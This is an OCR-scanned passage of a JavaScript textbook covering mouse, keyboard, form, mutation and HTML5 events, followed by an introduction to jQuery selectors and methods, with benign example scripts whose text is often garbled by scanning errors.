WHERE EVENTS OCCUR 


The event object can tell you where the cursor 
was positioned when an event was triggered. 



SCREEN 

The screenX and screenY 
properties indicate the position 
of the cursor within the entire 
screen on your monitor, 
measuring from the top left 
corner of the screen (rather than 
the browser). 


RAGE 

The pageX and pageY properties 
indicate the position of the 
cursor within the entire page. 
The top of the page may be 
outside of the viewport so 
even if the cursor is in the 
same position, page and client 
coordinates can be different. 


CLIENT 

The clfentX and clientY 
properties indicate the 
position of the cursor within 
the browser's viewport, if the 
user has scrolled down and the 
top of the page is no longer in 
view, it will not affect the client 
coordinates. 
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DETERMINING POSITION 


In this example, as you move 
your mouse around the screen, 
the text inputs across the top of 
the page are updated with the 
current mouse position. 


This demonstrates the three 
different positions you can 
retrieve when the mouse \s 
moved or when one of the 
buttons is clicked. 


Note how showPosit ion {) is 
passed event as a parameter, 
which refers to the event object. 
The positions are all properties 
of this event object. 


JAVASCRIPT 


var sx = document.getElementById{'sx'); 
var sy = document. getEI ementByld { ' sy ’ ) ; 
var px = document. getEI ementByld ( ‘px 1 ); 
var py = document. getEI ementByld { ‘ py * ) ; 
var cx = document. getEI ementByld { 'cx‘) ; 
var cy = document. getEI ementByld ( 'ey ') ; 

function showPosit ion (event) { 

sx. value = event.screenX; 

sy. value = event. screenY; 

px. value = event. pageX; 

py. value = event. pageY; 

cx. value = event.clientX; 

cy. value = event. cl ientY; 

} 


c06/js/po$ition. js 

// Element to hold screenX 
// Element to hold screenY 
// Element to hold pageX 
// Element to hold pageY 
// Element to hold clientX 
// Element to hold cl ientY 

// Declare function 
// Update element with screenX 
// Update element with screenY 
// Update element with pageX 
// Update element with pageY 
// Update element with clientX 
// Update element with cl ientY 


var el = document. getEI ementByld (‘body’); // Get body element 

el .addEventListener(*mousemove‘ , showPosition, false); // Move updates position 


RESULT 


screenX; O screenY; d II pagoX; EJ page¥;^3 II clientX: EH dientY E3 

quinoa 

sourdough bread 
kale 

almond milk 
mushrooms 
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KEYBOARD EVENTS 


The keyboard events are fired when a user interacts with the keyboard 
(they fire on any kind of device with a keyboard). 


EVENT TRIGGER 

i nput Fires when the value of an <i nput> or <textarea> element changes. First supported in IE9 (although 
it does not fire when deleting text in IE9), For older browsers, you can use keydown as a fallback. 

keydown Fires when the user presses any key on the keyboard. If the user holds down a key, the event 

continues to fire repeatedly. This is important because it mimics what would happen in a text input 
if the user holds down a key (the same character would be added repeatedly while the key is held 
down), 

keypress Fires when the user presses a key that would result in a character being shown on the screen. For 

example, this event would not fire when the user presses the arrow keys, whereas the keydown event 
would. If the user holds down a key, the event continues to fire repeatedly, 

key up Fires when the user releases a key on the keyboard. The keydown and keypress events fire before a 
character shows on screen, whereas key up fires after it appears. 


The three events that begin key... fire in this order: 

1. keydown - user presses key down 

2. keypress - user has pressed or is holding a key 
that adds a character into the page 

3. keyup - user releases key 


WHICH KEY WAS PRESSED? 

When you use the keydown or keypress events, the 
event object has a property called keyCode, which 
can be used to tell which key was pressed. However, 
it does not return the /etter for that key (as you might 
expect); it returns an ASCII code that represents the 
lowercase character for that key. You can see a table 
of the characters and their ASCII codes in an online 
extra on the website accompanying this book. 

If you want to get the tetter or number as it would 
be displayed on the keyboard (rather than an ASCII 
equivalent), the Stri ng object has a built-in method 
called froFnCharCodeO which will do the conversion 
for you: String . fromCharCodet event . keycode) ; 
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WHICH KEY WAS PRESSED 


In this example, the <textarea> 
element should only have ISO 
characters. When the user 
enters text, the script will show 
them how many characters they 
have left available to use. 


The event listener checks for 
the keypress event on the 
<textarea> element. Each time 
it fires, the charCount () function 
updates the character count and 
shows the last character used. 


The input event would work well 
to update the count when the 
user pastes in text or uses keys 
like backspace, but it does not 
tell you which key was the last to 
be pressed. 


JAVASCRIPT 


c06/js/keypress.js 


var el ; 


// Declare variables 


function charCount (e) { // Declare function 

var textEntered, charDisplay, counter, lastKey; // Declare variables 

textEntered = document. getElementById( 'message ') .value; // User's text 
charDisplay = document. getEl ementByld ( 1 charactersLeft ') ; // Counter element 
counter = (180 - (textEntered. length)); // Num of chars left 

charDisplay.textContent = counter; // Show chars left 


lastkey = document. getEl ementByld ( 'last key ’ ) ; // Get last key used 

lastkey.textContent = 'Last key in ASCII code: ' + e.keyCode; // Create msg 

} 

el - document. getEl ementByld ( 'message ') ; // Get msg element 

el .addEventListener( ’ keypress ' , charCount, false); // keypress event 


rtsult | - v'w.Vh 

fl MY PROFILE 


I like cooking and 


62 

ast key in ASCII code- 68 
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FORM EVENTS 


There are two events that are commonly used with forms. 

In particular you are likely to see submit used in form validation. 


EVENT TRIGGER 


submit When a form is submitted, the submit 


event fires on the node representing the 

©| 

<form> element. It is most commonly 

used when checking the values a user has 
entered into a form before sending it to the 

LISTKING 

server, 

change Fires when the status of several form 
elements change. For example, when: 

MEMBERSHIP 

• a selection is made from a drop-down 
select box 

• a radio button is selected 

• a checkbox is selected or deselected 

Selects package: IfHIBBSM 

9 Wise choice! 

It is often better to use the change event 

■ Check to agree to terms & conditions 

rather than the click event because 
clicking is not the only way users interact 

■ You must agree to the terms. 

with form elements (for example, they 
might use the tab, arrow, or Enter keys). 

NEXT 


i nput The i nput event, which you saw on the 
previous page is commonly used with 
<1nput> and <textarea> elements. 


FOCUS AND BLUR 

The focus and bl ur events (which you met on 
p274) are often used with forms, but they can also 
be used in conjunction with other elements, such as 
links (so they are not specifically related to forms). 


VALIDATION 

Checking form values is known as validation. 

If users miss required information or enter incorrect 
information, checking it using JavaScript is faster 
than sending the data to the server for it to be 
checked. Validation is covered tn Chapter 13. 
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USING FORM EVENTS 


When a user interacts with 
the drop-down select box, the 
change event will trigger the 
packageHi nt() function. This 
shows messages below the 
select box that reflect the choice, 


JAVASCRIPT 


When the form is submitted, the 
checkTerms () function is called. 
This tests to see if the user has 
checked the box that Indicates 
they agree to the terms and 
conditions. 


If not, the script will prevent 
the default behavior of the 
form element (and stop it from 
submitting the form data to the 
server) and it will show an error 
message to the user, 

cQ6/j$/form.js 


var el Form, elSelectPackage, el PackageHint, 
el Form = document , getEl ementBy I d ( 1 
elSelectPackage = document .getEl ementBy Id { ' 
el PackageHi nt = document. get El ementBy Id ( 1 
el Terms * document . getEl ementBy I d ( 1 
el TermsHi nt = document .getEl ementBy I d ( 1 


el Terms; 
forms ignup') ; 
package'}; 
packageHint r ) 
terms' ) ; 
termsHint' ) ; 


// Declare variables 
// Store elements 


function packageHi nt {) { 

var package « thi s, opt ions [thi s.selectedlndex] .value; 


if {package == ‘monthly*) { 
el PackageH i nt . i nnerHTML - 
} else { 

el PackageHi nt.i nnerHTML = 

} 

} 


'Save $10 if you pay for 1 
*Wi se choice! 1 ; 


// Declare function 
// Get selected option 
// If monthly package 
year! ' ;//Show this msg 
// Otherwise 
// Show this message 


function checkTerms (event) 
if (! el Terms. checked) { 
el TermsHi nt . i nnerHTML 
event.preventDefaul t{) 

} 

1 


‘You must agree to the terms 


// Declare function 
// If checkbox ticked 
' ; // Show message 
// Don't submit form 


//Create event listeners: submit calls checkTerms{) , change calls packageHint () 

el Form. addEventLi stener( 1 submit' , checkTerms* false); 

el Sel ectPackage . addEventLi stener ( ' change 1 , packageHi nt , f al se) ; 
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MUTATION EVENTS & 
OBSERVERS 


Whenever elements are added to or removed from the DOM, its 
structure changes. This change triggers a mutation event. 


When your script adds or removes content from a 
page it is updating the DOM tree. There are many 
reasons why you might want to respond to the DOM 
tree being updated, for example, you might want to 
tell the user that the page had changed. 


Below are some events that are triggered when 
the DOM changes. These mutation events were 
introduced in Firefox 3, IE9, Safari 3, and all versions 
of Chrome, But they are already scheduled to be 
replaced by an alternative called mutation observers. 


EVENT 

TRIGGER 

DOMNode Inserted 

Fires when a node is inserted into the DOM tree. 

e.g. using appendChi Id (), replaceChild(), or insert Before(), 

DOMNodeRemoved 

Fires when a node is removed from the DOM tree, 
e,g, using removeChi 1d() or replaceChi ld(). 

DOMSubtreeModi f i ed 

Fires when the DOM structure changes. 

It fires after the two events listed above occur. 

DOMNodelnsertedlntoDocument 

Fires when a node is inserted into the DOM tree as a descendant of another 
node that is already in the document. 

DOMNodeRemo v edFr omDoc ument 

Fires when a node is removed from the DOM tree as a descendant of another 
node that is already in the document. 


PROBLEMS WITH MUTATION EVENTS 

If your script makes a lot of changes to a page, you 
end up with a lot of mutation events firing. This can 
make a page feel slow or unresponsive. They can 
also trigger other event listeners as they propagate 
through the DOM, which modify other parts of the 
DOM, triggering more mutation events. Therefore 
they are being replaced by mutation observers. 

Browser support: Chrome, Firefox 3, IE 9, Opera 9, 
Safari 3 


NEW MUTATION OBSERVERS 

Mutation observers are designed to wait until a 
script has finished its task before reacting, then 
report the changes as a batch (rather than one at 
a time). You can also specify the type of changes 
to the DOM that you want them to react to. But at 
the time of writing, the browser support was not 
widespread enough to use them on public websites. 

Browser support: IE 11, Firefox 14, Chrome 27 
(or 18 with webkit prefix), Safari 6.1, Opera 15 
On mobile: Android 4.4, Safari on iOS 7 + 
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USING MUTATION EVENTS 


In this example, two event listeners each trigger 
their own function. The first is on the last but one 
line, and if listens for when the user dicks the link to 
add a new list item. It then uses DOM manipulation 
events to add a new element (changing the DOM 
structure and triggering mutation events). 


The second event listener waits for the DOM tree 
within the <ul> element to change. When the 
DOMNode Inserted event fires, it calls a function 
called updateCount(), This function counts how 
many items there are in the list, and then updates 
the list count at the top of the page accordingly. 


JAVASCRIPT 


c06/js/mutation.js 


var elList, addLink, newEI, newText, counter, 1 i st I terns ; // Declare variables 


el Li st = document. getElementBy Id ( ' 1 i st' ); 
addLink = document. querySelector( 'a') ; 
counter = document. get El ementBy Id (' counter 1 ) ; 

function addltem(e) { 
e.preventDefault() ; 
newEI = document. createElement ( * 1 i ') ; 
newText = d oc umen t. c reateText Node ( 'New list item 1 ); 
newEI .appendChi Id (newText) ; 
el Li st . appendChi 1 d ( newEI ) ; 

} 


// Get list 

// Get add item button 
// Get item counter 

// Declare function 
// Prevent link action 
// New <1i> element 
// New text node 
// Add text to <li> 

// Add <1 i> to list 


function updateCount() { 

listitems = 1 ist. getElementsByTagName( ' 1 i '). length; 
counter. innerHTML = listitems; 

) 


// Declare function 
// Get total of <1 i>s 
// Update counter 


addLink.addEventListenerC click' , addltem, false); // Click on button 

elList.addEventListenert'DOHNodelnserted' , updateCount, false); // DOM updated 
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HTML5 EVENTS 


Here are three page-level events that have been 
included in versions of the HTML5 spec that 
have become popular very quickly. 


EVENT 

TRIGGER 

BROWSER SUPPORT 

DOMContent Loaded 

Event fires when the DOM tree is formed (images, CSS, and 
JavaScript might still be loading). Scripts start to run earlier than 
using the load event which waits for other resources such as 
images and advertisements to load. This makes the page seem 
faster to load. However, because it does not wait for scripts to 
load, the DOM tree will not contain any HTML that would have 
been generated by those scripts. It can be attached to the wi ndow 
or document objects. 

Chrome 0.2, Firefox 1 , 
IE9, Safari 3,1 , Opera 9 

hashchartge 

Event fires when the URL hash changes (without the entire 
window refreshing), Hashes are used on links to specific parts 
(sometimes known as anchors) within a page and also on pages 
that use AJAX to load content. The hashchange event handler 
works on the wi ndow object, and after firing, the event object will 
have ol dlIRL and newURL properties that hold the url before and 
after the hashchange. 

IE8, Firefox 20, Safari 
5.1, Chrome 26, and 
Opera 12J 

beforeunload 

Event fires on the wi ndow object before the page is unloaded. It 
should only be used to help the user (not to encourage them to 
stay on a website if they are trying to leave). For example, it can be 
helpful to let a user know that changes on a form they completed 
have not been saved. You can add a message to the dialog box 
that is shown by the browser, but you do not have control over the 
text shown before it or on the buttons the user can press (which 
can vary slightly between browsers and operating systems). 

Chrome 1, Firefox 1, 

IE4, Safari 3, Opera 12 


There are also several other events that are being introduced to support more recent devices (such as phones 
and tablets), They respond to events such as gestures and movements that are based upon an accelerometer 
(which detects the angle at which a device Is being held). 
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USING HTML5 EVENTS 


In this example, as soon as the 
DOM tree has been formed, 
focus is given to the text input 
with an Id of username. 


The DOMContentLoaded event 
fires before the 1 oad event 
(because the latter waits for ail 
of the page's resources to load). 


If users try to leave the page 
before they press the submit 
button, the beforeunl oad event 
checks that they want to leave. 



06/js/html 5-even ts.j s 


function setupO { 
var textlnput; 

textlnput = document. getEl ementByldf 'message 1 ) ; 
textlnput .focus() ; 

} 

window. addEventListener( ' DOMContentLoaded 1 , setup, false); 

window. addEventLi stener{ ' beforeunload' , function(event) { 
return 'You have changes that have not been saved...’; 

}. false); 



On the left, you can see the 
dialog box that is shown when 
you try to navigate away from 
the page. 




JavaScript 

Are you sure you want to leave this page? 


You have changes that have not been saved... 


| Stay on Page j 



The text before your message 
and on the buttons may change 
from browser to browser (you 
have no control over this). 
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EXAMPLE 

EVENTS 


This example shows an interface for a user to 
record voice notes. The user can enter a name 
which is displayed in the heading, and they can 
press record (which changes the image that is 
shown). 

When the user starts typing a name into the text box, the keyup event 
will trigger a function called wri telabel () which copies the text from 
the form input and writes it into the main heading under the logo for list 
King, replacing the words AUDIO NOTE'. 

The record / pause button is a bit more interesting. The button has an 
attribute called data-state. When the page loads, its value is record. 
When the user presses the button, the value of this attribute changes to 
pause {this triggers a new CSS rule to indicate that it is now recording). 

If you have not used HTMLS’s data- attributes, they allow you to store 
custom data on any HTML element. (The name of the attribute can be 
anything starting with data- as long as the name is lowercase.) 

This demonstrates a new technique based upon event delegation. 

The event listener is placed upon the containing element whose id 
is buttons. The event object is used to determine the value of the i d 
attribute on the element that was used. The value from that id attribute 
is then used in a swi tch statement to decide which function to call 
(depending on whether the button is in record state or pause state). 

This is a good way to handle many buttons because it reduces the 
number of event listeners in your code. 

The event listeners are written at the bottom of the page, and they have 
fallbacks for users who are running IE8 or less (which has a different 
event model). 
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EXAMPLE 

EVENTS 


The script starts by defining the 
variables that it will need to use, 
and then collecting the element 
nodes that are needed. 


The player functions (shown 
on the right-hand page) would 
appear next and at the bottom 
of this page you can see the 
event listeners. 


The event listeners Jive inside 
a conditional statement so that 
the attachEventQ method can 
be used for visitors who have IES 
or less. 


c 06 /js/examp 1 e. js 


JAVASCRIPT 


var username, noteName, textEntered, target; 

noteName = document. getEI ementBy Id (* noteName' ) ; 

function wri telabel (e) { 
if (!e) { 
e - window. event; 

} 

target = event. target J | event, srcElement; 

textEntered = e, target, value; 

not eName.textCon tent = text Entered; 

} 


// Declare variables 

// Element that holds note 

// Declare function 

// If event object not present 

// Use IE5-8 fallback 

// Get target of event 
// Value of that element 
// Update note text 


// This is where the record / pause controls and functions go.., 

// See right hand page 

if (document. addEvent Listener} { //If event listener supported 

document. addEventtistener( 1 cl ick 1 , function(e) {// For any click document 

recorderControls(e); // Call recorderControlsf) 

}, false); // Capture during bubble phase 

// If input event fires on username input call writeLabelO 
username. addEvent Li stener( * input 1 , writeLabel, false); 

} else { // Otherwise 

document, attachEvent (* oncl Lck 1 , function(e){ // IE fallback: any click 

recorderControls(e) ; // Calls recorderControl s() 

}); 

// If keyup event fires on username input call writeLabelO 
username, attachEvent( 'onkeyup' f writeLabel, false); 

} 
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EXAMPLE 

EVENTS 


The recorderControlsO function is automatically 
passed the event object. Not only does this offer 
code to support older versions of IE, but also stops 
the link from performing its default behavior (of 
taking the user to a new page). 


The swi tch statement is used to indicate which 
function to run depending on whether the user 
is trying to record or stop the audio note. This 
technique of delegation is a good way to cope with 
multiple buttons in the UL 


JAVASCRIPT 


c06/js/example.js 


function recorderControls(e) { // 

if (!e) { // 

e = window. event; // 

} 

target = event. target || event. srcElement;// 
if { event. preventDefault} { // 

e.preventDefaul t() ; // 

} else { // 

event. returnValue = false; // 

} 


Declare recorderControls() 

If event object not present 
Use IE5-8 fallback 

Get the target element 
If preventDefaul t 0 supported 
Stop default action 
Gtherwi se 

IE fallback: stop default action 


switch(target.getAttribute(‘data-state')) { // Get the data-state attribute 


case 'record': 
record (target) ; 
break; 

case 'stop': 
stop(target) ; 
break; 

// More buttons could go here... 

} 

}; 


// If its value is record 
// Call the record() function 
// Exit function to where called 
// If its value is stop 
// Call the stopO function 
// Exit function to where called 


function record(target) { 

target.setAttribute( 1 data-state' , 
target. textContent - 'stop'; 

} 


// Declare function 

'stop'); // Set data-state attr to stop 
// Set text to 'stop' 


function stop(target) ( 

target . setAttri bute ( ' data-state 1 
target. textContent = 'record'; 

} 


record ‘ ) ; //Set data-state attr to record 
// Set text to ' record ' 
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Events are the browser's way of indicating when 
something has happened (such as when a page has 
finished loading or a button has been clicked). 

Binding is the process of stating which event you are 
waiting to happen, and which element you are waiting 
for that event to happen upon. 

When an event occurs on an element, it can trigger a 
JavaScript function. When this function then changes 
the web page in some way, it feels interactive because 
it has responded to the user. 


You can use event delegation to monitor for events 
that happen on all of the children of an element. 


The most commonly used events are W3C DOM 
events, although there are others in the HTML5 
specification as well as browser-specific events. 
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JQUERY 



jQuery offers a simple way to achieve a variety of common 
JavaScript tasks quickly and consistently, across all major 
browsers and without any fallback code needed, 


SELECT ELEMENTS 

It is simpler to access 
elements using [Query's 
CSS-sty te selectors than it 
is using DOM queries. The 
selectors are also more 
powerful and flexible. 


PERFORM TASKS 

j Query's methods let you 
update the DOM tree, 
animate elements into 
and out of view, and loop 
through a set of elements, 
all in one line of code. 


HANDLE EVENTS 

[Query includes methods 
that allow you to attach 
event listeners to selected 
elements without having 
to write any fallback code 
to support older browsers. 


This chapter assumes that you have read the book up to this point or are familiar with the 
basics of JavaScript. As you will see, jQuery is powerful when combined with traditional 
JavaScript techniques, but you need to understand JavaScript to make full use of jQuery. 


JQUERY 



WHAT IS JQUERY? 


jQuery is a JavaScript file that you include in your web pages. 

It lets you find elements using CSS-style selectors and then do 
something with the elements using jQuery methods. 

1: FIND ELEMENTS USING CSS-STYLE SELECTORS 


A function called jQuery ( ) lets you find one or more elements in the page. 

It creates an object called jQuery which holds references to those elements, 
$() is often used as a shorthand to save typing jQuery () P as shown here. 

FUNCTION (CREATES JQUERY OBJECT) 

r A , 

$( 1 1 i .hot 1 ) 

1 i 1 

SELECTOR 

The j Query (} function has one parameter: a CSS-style selector. 

This selector finds all of the <1 i> elements with a class of hot. 


SIMILARITIES TO DOM 

• jQuery selectors perform a similar task to traditional DOM queries, but the syntax is much simpler 

• You can store the jQuery object in a variable, just as you can with DOM nodes. 

• You can use jQuery methods and properties (like DOM methods and properties) to manipulate the DOM 
nodes that you select. 
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The j Query object has many methods that you can use to work with the 
elements you select. The methods represent tasks that you commonly 
need to perform with elements. 

2: DO SOMETHING WITH THE ELEMENTS USING JQUERY METHODS 


Here a j Query object is created by the j Query () 
function* The object and the elements it contains is 
referred to as a matched set or a jQuery selection. 

JQUERY OBJECT 

i 1 < i 

$ ( 1 1 i .hot 1 ) .addCl 

i 

MEMBER OPERATOR 

The member operator indicates that the method on 
the right should be used to update the elements in 
the jQuery object on the left. 


You can then use the methods of the jQuery object 
to update the elements that it contains. Here, the 
method adds a new value to the class attribute. 

METHOD 


ass( 1 compl ete' ) ; 


PARAMETERCS) 

Each method has parameter(s) that provide details 
about how to update the elements. This parameter 
specifies a value to add to the class attribute. 


KEY DIFFERENCES FROM DOM 

• It's cross- browser, and there's no need to write fallback code. 

• Selecting elements is simpler (because it uses CSS-style syntax) and is more accurate. 

• Event handling is simpler as it uses one method that works in all major browsers, 

• Methods affect all the selected elements without the need to loop through each one (see p310), 

• Additional methods are provided for popular required tasks such as animation (see p332), 

• Once you have made a selection, you can apply multiple methods to it. 
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A BASIC JQUERY EXAMPLE 


The examples in this chapter 
revisit the list application used in 
the previous two chapters, and 
they will use jQuery to update 
the content of the page. 


1. In order to use jQuery, the first 
thing you need to do is include 
the jQuery script in your page. 
You can see that it is included 
before the closing </body> tag. 


2, Once jQuery has been added 
to the page, a second JavaScript 
file is included that uses jQuery 
selectors and methods to update 
the content of the HTML page. 


cQ7 /ba s t c - e x amp 1 e » html 


© 

© 


<body> 

<di v id="page" 

<hl id= , 'header ll >List</hl> 

<h2>Buy groceri es</h2> 

<u1> 

<li id="one" class="hot"><em>fresh</em> figs</li> 
<li id="two" class="hot">pine nuts</1i> 

<11 id=" three" class="hot">honey</11> 

<11 id="four">balsamic vinegar</11> 

</ul> 

</di v> 

<script src=”js/jquery-1.11.0. js"></script> 

<script src= ,l js/basic-exainple.js ,, ></script> 

</body> 


HTML 


WHERE TO GET JQUERY AND WHICH VERSION TO USE 


Above, jQuery is included before 
the closing </body> tag just like 
other scripts. (Another way to 
include the script is shown on 
p355.) A copy of jQuery is 
included with the code for this 
book, or you can download it 
from http://jquery.org. 

The version number of jQuery 
should be kept in the file name. 
Here, it is jquery- 1.11.0. js, 
but by the time you read this 
book, there may be a newer 
version. The examples should 
still work with newer versions. 


You often see websites use a 
version of the jQuery file with 
the file extension *mi n. js. 

It means unnecessary spaces 
and carriage returns have been 
stripped from the fife. e,g, f 
jquery-l.ll.O.js becomes 
j query-1, 11 *0*nrirujs> 

It is done using a process called 
minifieation (hence min is used 
in the file name). The result is a 
much smaller file which makes it 
faster to download. But minified 
files are much harder to read. 


If you want to look at the 
jQuery file, you can open it 
with a text editor - it is just 
text like JavaScript, albeit very 
complicated JavaScript. 

Most people who use jQuery do 
not try to understand how the 
jQuery JavaScript file achieves 
what it does. As long as you 
know how to select elements 
and how to use its methods and 
properties, you can reap the 
benefits of using jQuery without 
looking under the hood. 
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Here, the JavaScript file uses the 
t{) shortcut for the j Query {) 
function. It selects elements and 
creates three j Query objects that 
hold references to the elements. 


JAVASCRIPT 


The methods of the jQuery 
object fade the list Items in, and 
remove them when they are 
clicked on. Don't worry if you 
don't understand the code yet. 


First, you will learn how to select 
elements using jQuery selectors, 
and then how to update those 
dements using the methods and 
properties of the jQuery object. 

t07/ j s/ba $ i e -e x amp 1 e 4 s 


(T) $(* : header 1 ) .addClass( 'headline 1 ); 
© $ ( 1 1 i :lt(3) l ) .hide() * f adeln (1500) ; 

$( f l i *) ,on ('click 1 , functionQ { 
CD- $ (thi s) . removeQ ; 

}); 


1. The first line selects all of the 
<hl> - <h6> headings, and adds 
a value of headl i ne to their 
class attributes. 


2, The second line selects the 
first three list items and does 
two things: 

• The elements are hidden (in 
order to allow the next step). 

• The elements fade into view. 


3. The last three lines of the 
script set an event listener on 
each of the <1 i > elements. When 
a user clicks on one, it triggers an 
anonymous function to remove 
that element from the page. 



Here is a reminder of the colors 
used to convey the priority and 
status of each list item: 


hot | COOL 

NORMAL I COMPLETE 
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WHY USE JQUERY? 


jQuery doesn’t do anything you cannot achieve with pure JavaScript. 

It is just a JavaScript file but estimates show it has been used on over a 
quarter of the sites on the web, because it makes coding simpler. 


1: SIMPLE SELECTORS 
As you saw in Chapter 5, which introduced the 
DOM, it is not always easy to select the elements 
that you want to. For example: 

• Older browsers do not support the latest 
methods for selecting elements. 

• IE does not treat whitespace between elements 
as text nodes, while other browsers do. 

Such issues make it hard to select the right elements 
on a page across all major browsers. 

Rather than learn a new way to select elements, 
jQuery uses a language that is already familiar to 
front-end web developers: CSS selectors. They: 

• Are much faster at selecting elements 

• Can be a lot more accurate about which elements 
to select 

• Often require a lot less code than older DOM 
methods 

• Are already used by most front-end developers 

jQuery even adds some extra CSS-style selectors 
which offer additional functionality. 

Since jQuery was created, modern browsers 
have implemented thequerySelector() and 
querySel ectorAl 1 {) methods to let developers 
select elements using CSS syntax. However, these 
methods are not supported in older browsers. 


2: COMMON TASKS IN LESS CODE 

There are some tasks that front-end developers 
need to do regularly, such as loop through the 
elements that have been selected. 

jQuery has methods that offer web developers 
simpler ways to perform common tasks, such as: 

• Loop through elements 

• Add / remove elements from the DOM tree 

• Handle events 

• Fade elements into / out of view 

• Handle Ajax requests 

jQuery simplifies each of these tasks, and allows you 
to write less code to achieve them. 

jQuery also offers chaining of methods Ca technique 
which you will meet on p311). Once you have 
selected some elements, this allows you to apply 
multiple methods to the same selection. 
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jQuery's motto is "Write less, do more," because it allows you to achieve 
the same goals but in fewer lines of code than you would need to write 
with plain JavaScript. 


3: CROSS-BROWSER COMPATIBILITY 

jQuery automatically handles the inconsistent ways 
in which browsers select elements and handle 
events, so you do not need to write cross-browser 
fallback code (such as that shown in the previous 
two chapters). 

To do this, jQuery uses feature detection to find 
the best way to achieve a task. It involves the use 
of many conditional statements: If the browser 
supports the ideal way to achieve a task, it uses that 
approach; otherwise, it tests to see if it supports the 
next best option to achieve the same task. 


JQUERY 1.9.X+ OR 2.0.X+ 

As jQuery developed, it built up a lot of code to 
support IE6, 7, and 8; which made the script bigger 
and more complicated. As version 2.0 of jQuery 
was approaching, the development team decided to 
create a version that would drop support for older 
browsers in order to create a smaller, faster script. 

The jQuery team was, however, aware that many 
people on the web still used these older browsers, 
and that developers therefore needed to support 
them. For this reason, they now maintain two 
parallel versions of jQuery: 


This was the technique used in the last chapter to 
determine whether or not the browser supported 
event listeners. If event listeners were not supported, 
an alternative approach was offered (aimed at users 
of Internet Explorer 8 and older versions of IE), 


jQuery T9+: Encompasses the same features as 
2.0.x but still offers support for IE6, 7, and 8 

jQuery 2.0+: Drops support for older browsers to 
make the script smaller and faster to use 



Is 

querySelector() 

supported? 



Test if browser supports Great! Use this feature 

the next best option as it is the best option 


Here, a conditional statement checks if the browser 
supports querySelector(). If it does, that method 
is used. If it doesn’t, it checks to see if the next best 
option is supported and uses that instead. 


The functionality of both versions is not expected to 
diverge significantly in the short term. 

The jQuery file name should contain the version 
number in it (e g., jquery-1.11 .0. js or 
jquery- 1 . 1 1 . 0.mi n * js). If you don't do this, a 
user's browser might try to use a cached version of 
the file that Is either older or newer ~ which could 
prevent other scripts from working correctly. 
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FINDING ELEMENTS 


Using jQuery, you usually select elements 
using CSS-style selectors. It also offers some 
extra selectors, noted below with a 'jQ\ 


Examples of using these 
selectors are demonstrated 
throughout the chapter. The 
syntax will be familiar to those 
who have used selectors in CSS. 


BASIC SELECTORS 


* 


All elements 

element 


All elements with that element name 

Ud 


Elements whose id attribute has the value specified 

.class 


Elements whose class attribute has the value specified 

selector!? selector2 


Elements that match more than one selector (see also the .add() 
method, which is more efficient when combining selections) 

HIERARCHY 

ancestor descendant 


An element that is a descendant of another element <e.g„ 1 i a) 

parent > child 


An element that is a direct child of another element (you can use * in 
the place of the child to select all child elements of the specified parent) 

previous + next 


Adjacent sibling selector only selects elements that are immediately 
followed by the previous element 

previous - siblings 


Sibling selector will select any elements that are a sibling of the 
previous element 

BASIC FILTERS 


- 

: not (selector) 


All elements except the one in the selector (e.g. r div: not (^summary 1 )) 

: first 

iQ 

The first element from the selection 

:last 

iQ 

The last element from the selection 

:even 

iQ 

Elements with an even index number in the selection 

:odd 

iQ 

Elements with an odd index number in the selection 

:eq(index) 

iQ 

Elements with an index number equal to the one in the parameter 

:gt (index) 

iQ 

Elements with an index number greater than the parameter 

:}t(tndex) 

iQ 

Elements with an index number less than the parameter 

: header 

iQ 

AIS <hl> - <h6> elements 

: animated 

iQ 

Elements that are currently being animated 

; focus 


The element that currently has focus 
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CONTENT FILTERS 

:contains('text') 


Elements that contain the specified text as a parameter 

: empty 


All elements that have no children 

: parent 

iQ 

All elements that have a child node (can be text or element) 

:has(se!ector) 

iQ 

Elements that contain at least one element that matches the selector 
(e.g., divthas (p) matches all di v elements that contain a <p> element) 

VISIBILITY FILTERS 

: hidden 

iQ 

All elements that are hidden 

: visible 

iQ 

Alt elements that consume space in the layout of the page 

Not selected if: di splay: none; height / width: 0; ancestor is hidden 
Selectedif:visibility: hidden; opacity: 0 because they would 
take up space in layout 

CHILD FILTERS 

:nth-child(expr) 


The value here is not zero-based e.g. u! 11 : nth- chi Id (2) 

:first-child 


First child from the current selection 

: last-child 


Last child from the current selection 

:only-child 


When there is only one child of the element (di v p :only-chi 1 d) 

ATTRIBUTE FILTERS 

[attribute] 


Elements that carry the specified attribute (with any value) 

[i attribute = 1 value "] 


Elements that carry the specified attribute with the specified value 

[attribute ! = 1 value " ] 

iQ 

Elements that carry the specified attribute but not the specified value 

[attribute^ 1 volue 1 ] 


The value of the attribute begins with this value 

[ attribute = 1 value 1 ] 


The value of the attribute ends with this value 

[atf ribute *= 1 value 1 ] 


The value should appear somewhere in the attribute value 

[Attribute | = 1 value ' ] 


Equal to given string, or starting with string and followed by a hyphen 

[attribute -- 1 value 1 ] 


The value should be one of the values in a space separated list 

[attribute] [aitribute2\ 


Elements that match all of the selectors 

FORM 

: input 

iQ 

Af! input elements 

i text 

iQ 

All text inputs 

: password 

iQ 

Alt password inputs 

: radio 

iQ 

All radio buttons 

: checkbox 

iQ 

All checkboxes 

-submit 

iQ 

All submit buttons 

: image 

iQ 

All <img> elements 

: reset 

iQ 

All reset buttons 

:button 

iQ 

Ail <button> elements 

:file 

iQ 

All file inputs 

; selected 

iQ 

Ail selected items from drop-down lists 

; enabled 


All enabled form elements (the default for all form elements) 

:di sabled 


All disabled form elements (using the CSS disabled property) 

; checked 


All checked radio buttons or checkboxes 


JQUERY 1303; 


DOING THINGS WITH 
YOUR SELECTION 


Once you have seen the basics CONTENT FILTERS FINDING ELEMENTS 

of how jQuery works, most of Get or change content of Find and select elements to 

this chapter is dedicated to elements, attributes, text nodes work with & traverse the DOM 

demonstrating these methods. 


These two pages both offer an 
overview to the jQuery methods 
and will also help you find the 
methods you are looking for 
once you have read the chapter. 

You often see jQuery method 
names written starting with a 
period (.) before the name. 

This convention is used in this 
book to help you easily identify 
those methods as being jQuery 
methods rather than built-in 
JavaScript methods, or methods 
of custom objects. 

When you make a selection, the 
jQuery object that is created 
has a property called length, 
which will return the number of 
elements in the object. 

If the jQuery selection did not 
find any matching elements, you 
will not get an error by calling 
any of these methods - they just 
won't do or return anything. 

There are also methods that are 
specifically designed to work 
with Ajax (which lets you refresh 
part of the page rather than an 
entire page) shown in Chapter 8. 
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GET/CHANGE CONTENT GENERAL 


.html () 

p316 

.find() 

p336 

.text() 

p316 

.closest () 

p336 

.replaceWithO 

p316 

.parent() 

p336 

. remove () 

p316 

.parents () 

p336 



.childrenQ 

p336 

